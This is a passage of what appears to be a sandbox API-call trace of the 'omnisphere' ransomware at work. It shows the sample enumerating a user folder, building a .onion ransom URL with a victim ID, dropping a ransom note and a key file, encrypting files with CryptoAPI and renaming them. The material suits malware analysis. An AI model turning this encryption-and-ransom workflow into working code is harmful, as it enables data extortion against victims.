CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0128.999] GetProcessHeap () returned 0x1600000 [0128.999] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16fdc30 [0128.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16fdc30, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0128.999] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0129.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0129.000] GetProcessHeap () returned 0x1600000 [0129.000] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x17102a0 [0129.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x17102a0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0129.000] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0129.000] GetProcessHeap () returned 0x1600000 [0129.000] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16f52f8 [0129.000] PathCombineW (in: pszDest=0x16f52f8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\!DECRYPT_OMNISPHERE.txt" [0129.000] GetProcessHeap () returned 0x1600000 [0129.000] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x171b6f8 [0129.000] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\sendto\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0129.000] WriteFile (in: hFile=0x28c, lpBuffer=0x171b6f8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x171b6f8*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0129.001] CloseHandle (hObject=0x28c) returned 1 [0129.001] GetProcessHeap () returned 0x1600000 [0129.001] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x17275f8 | out: hHeap=0x1600000) returned 1 [0129.001] GetProcessHeap () returned 0x1600000 [0129.001] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162e8e8 [0129.001] PathCombineW (in: pszDest=0x162e8e8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\unique_decrypt.key" [0129.001] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\sendto\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0129.001] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0129.002] CloseHandle (hObject=0x28c) returned 1 [0129.002] GetProcessHeap () returned 0x1600000 [0129.002] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162e8e8 | out: hHeap=0x1600000) returned 1 [0129.002] GetProcessHeap () returned 0x1600000 [0129.002] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0129.002] FindNextFileW (in: hFindFile=0x1639628, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210f9687, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210f9687, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc5f90064, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4, dwReserved0=0x0, dwReserved1=0xd3, cFileName="Mail Recipient.MAPIMail", cAlternateFileName="MAILRE~1.MAP")) returned 1 [0129.002] GetProcessHeap () returned 0x1600000 [0129.002] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16f4d38 [0129.002] PathCombineW (in: pszDest=0x16f4d38, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo", pszFile="Mail Recipient.MAPIMail" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Mail Recipient.MAPIMail") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Mail Recipient.MAPIMail" [0129.002] StrStrW (lpFirst=".omnisphere", lpSrch=".MAPIMail") returned 0x0 [0129.002] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Mail Recipient.MAPIMail" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\sendto\\mail recipient.mapimail"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0129.003] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=4) returned 1 [0129.003] GetTickCount () returned 0x11602e6 [0129.003] GetTickCount () returned 0x11602e6 [0129.003] GetTickCount () returned 0x11602e6 [0129.003] GetTickCount () returned 0x11602e6 [0129.003] GetTickCount () returned 0x11602e6 [0129.003] GetTickCount () returned 0x11602e6 [0129.003] GetTickCount () returned 0x11602e6 [0129.004] GetTickCount () returned 0x11602e6 [0129.004] GetTickCount () returned 0x11602e6 [0129.004] GetTickCount () returned 0x11602e6 [0129.004] GetTickCount () returned 0x11602e6 [0129.004] GetTickCount () returned 0x11602e6 [0129.004] GetTickCount () returned 0x11602e6 [0129.004] GetTickCount () returned 0x11602e6 [0129.004] GetTickCount () returned 0x11602e6 [0129.004] GetTickCount () returned 0x11602e6 [0129.004] GetTickCount () returned 0x11602e6 [0129.004] GetTickCount () returned 0x11602e6 [0129.004] GetTickCount () returned 0x11602e6 [0129.004] GetTickCount () returned 0x11602e6 [0129.004] GetTickCount () returned 0x11602e6 [0129.004] GetTickCount () returned 0x11602e6 [0129.004] GetTickCount () returned 0x11602e6 [0129.004] GetTickCount () returned 0x11602e6 [0129.004] GetTickCount () returned 0x11602e6 [0129.004] GetTickCount () returned 0x11602e6 [0129.004] GetTickCount () returned 0x11602e6 [0129.004] GetTickCount () returned 0x11602e6 [0129.004] GetTickCount () returned 0x11602e6 [0129.004] GetTickCount () returned 0x11602e6 [0129.005] GetTickCount () returned 0x11602e6 [0129.005] GetTickCount () returned 0x11602e6 [0129.005] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16688a0) returned 1 [0129.005] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16395e8) returned 1 [0129.006] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0129.006] CryptDestroyKey (hKey=0x16395e8) returned 1 [0129.006] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0129.006] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4, lpName=0x0) returned 0x288 [0129.006] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x1480000 [0129.006] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668f88) returned 1 [0129.007] CryptImportKey (in: hProv=0x1668f88, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x16394e8) returned 1 [0129.007] CryptSetKeyParam (hKey=0x16394e8, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0129.007] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0129.007] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0129.008] CryptDestroyKey (hKey=0x16394e8) returned 1 [0129.008] CryptReleaseContext (hProv=0x1668f88, dwFlags=0x0) returned 1 [0129.008] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x4, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0129.008] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0129.010] GetProcessHeap () returned 0x1600000 [0129.010] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2c0) returned 0x16f8a48 [0129.010] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Mail Recipient.MAPIMail" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\sendto\\mail recipient.mapimail"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Mail Recipient.MAPIMail.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\sendto\\mail recipient.mapimail.omnisphere")) returned 1 [0129.011] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Mail Recipient.MAPIMail.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Mail Recipient.MAPIMail.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Mail Recipient.MAPIMail.omnisphere.id" [0129.011] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Mail Recipient.MAPIMail.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\sendto\\mail recipient.mapimail.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0129.012] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0129.014] CloseHandle (hObject=0x3c0) returned 1 [0129.014] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0129.014] CloseHandle (hObject=0x288) returned 1 [0129.014] SetEndOfFile (hFile=0x28c) returned 1 [0129.014] FlushFileBuffers (hFile=0x28c) returned 1 [0129.022] CloseHandle (hObject=0x28c) returned 1 [0129.022] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Mail Recipient.MAPIMail" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo") returned 1 [0129.022] GetProcessHeap () returned 0x1600000 [0129.022] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x17275f8 [0129.022] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0129.022] GetProcessHeap () returned 0x1600000 [0129.022] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16fdd20 [0129.022] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16fdd20, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0129.022] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0129.022] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0129.023] GetProcessHeap () returned 0x1600000 [0129.023] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x17102c0 [0129.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x17102c0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0129.023] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0129.023] GetProcessHeap () returned 0x1600000 [0129.023] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16f48e8 [0129.023] PathCombineW (in: pszDest=0x16f48e8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\!DECRYPT_OMNISPHERE.txt" [0129.023] GetProcessHeap () returned 0x1600000 [0129.023] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x171a5a0 [0129.023] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\sendto\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0129.023] WriteFile (in: hFile=0x28c, lpBuffer=0x171a5a0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x171a5a0*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0129.024] CloseHandle (hObject=0x28c) returned 1 [0129.024] GetProcessHeap () returned 0x1600000 [0129.024] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x17275f8 | out: hHeap=0x1600000) returned 1 [0129.024] GetProcessHeap () returned 0x1600000 [0129.024] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0129.024] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\unique_decrypt.key" [0129.024] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\sendto\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0129.024] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0129.025] CloseHandle (hObject=0x28c) returned 1 [0129.025] GetProcessHeap () returned 0x1600000 [0129.025] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0129.025] GetProcessHeap () returned 0x1600000 [0129.025] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16f4d38 | out: hHeap=0x1600000) returned 1 [0129.025] FindNextFileW (in: hFindFile=0x1639628, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210f9687, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210f9687, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc5f90064, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4, dwReserved0=0x0, dwReserved1=0xd3, cFileName="Mail Recipient.MAPIMail", cAlternateFileName="MAILRE~1.MAP")) returned 0 [0129.025] FindClose (in: hFindFile=0x1639628 | out: hFindFile=0x1639628) returned 1 [0129.025] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\*", lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3e2133a4, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0x2dfdb35a, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2dfdb35a, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName=".", cAlternateFileName="")) returned 0x16394e8 [0129.026] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3e2133a4, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0x2dfdb35a, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2dfdb35a, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="..", cAlternateFileName="")) returned 1 [0129.026] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ded0e62, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2ded0e62, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2e001aa5, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="!DECRYPT_OMNISPHERE.txt", cAlternateFileName="!DECRY~1.TXT")) returned 1 [0129.026] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd69e8a1, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x3918b623, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2ded0e62, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x93f, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="Bluetooth File Transfer.LNK.omnisphere", cAlternateFileName="BLUETO~1.OMN")) returned 1 [0129.026] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ded0e62, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2ded0e62, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2ded0e62, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="Bluetooth File Transfer.LNK.omnisphere.id", cAlternateFileName="BLUETO~1.ID")) returned 1 [0129.026] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2111f8cb, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x2111f8cb, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x2def66ae, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x527, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="Compressed (zipped) Folder.ZFSendToTarget.omnisphere", cAlternateFileName="COMPRE~1.OMN")) returned 1 [0129.026] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2def66ae, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2def66ae, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2def66ae, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="Compressed (zipped) Folder.ZFSendToTarget.omnisphere.id", cAlternateFileName="COMPRE~1.ID")) returned 1 [0129.026] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2111f8cb, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x2111f8cb, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x2df1e7f3, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x52b, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="Desktop (create shortcut).DeskLink.omnisphere", cAlternateFileName="DESKTO~1.OMN")) returned 1 [0129.026] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2df1e7f3, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2df1e7f3, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2df1e7f3, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="Desktop (create shortcut).DeskLink.omnisphere.id", cAlternateFileName="DESKTO~1.ID")) returned 1 [0129.026] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2111f8cb, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x2111f8cb, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x2df691cd, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x7da, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="Desktop.ini.omnisphere", cAlternateFileName="DESKTO~2.OMN")) returned 1 [0129.026] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2df691cd, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2df691cd, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2df691cd, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="Desktop.ini.omnisphere.id", cAlternateFileName="DESKTO~2.ID")) returned 1 [0129.026] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x442db745, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x442db745, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x442db745, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="Documents.mydocs", cAlternateFileName="DOCUME~1.MYD")) returned 1 [0129.026] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210f9687, 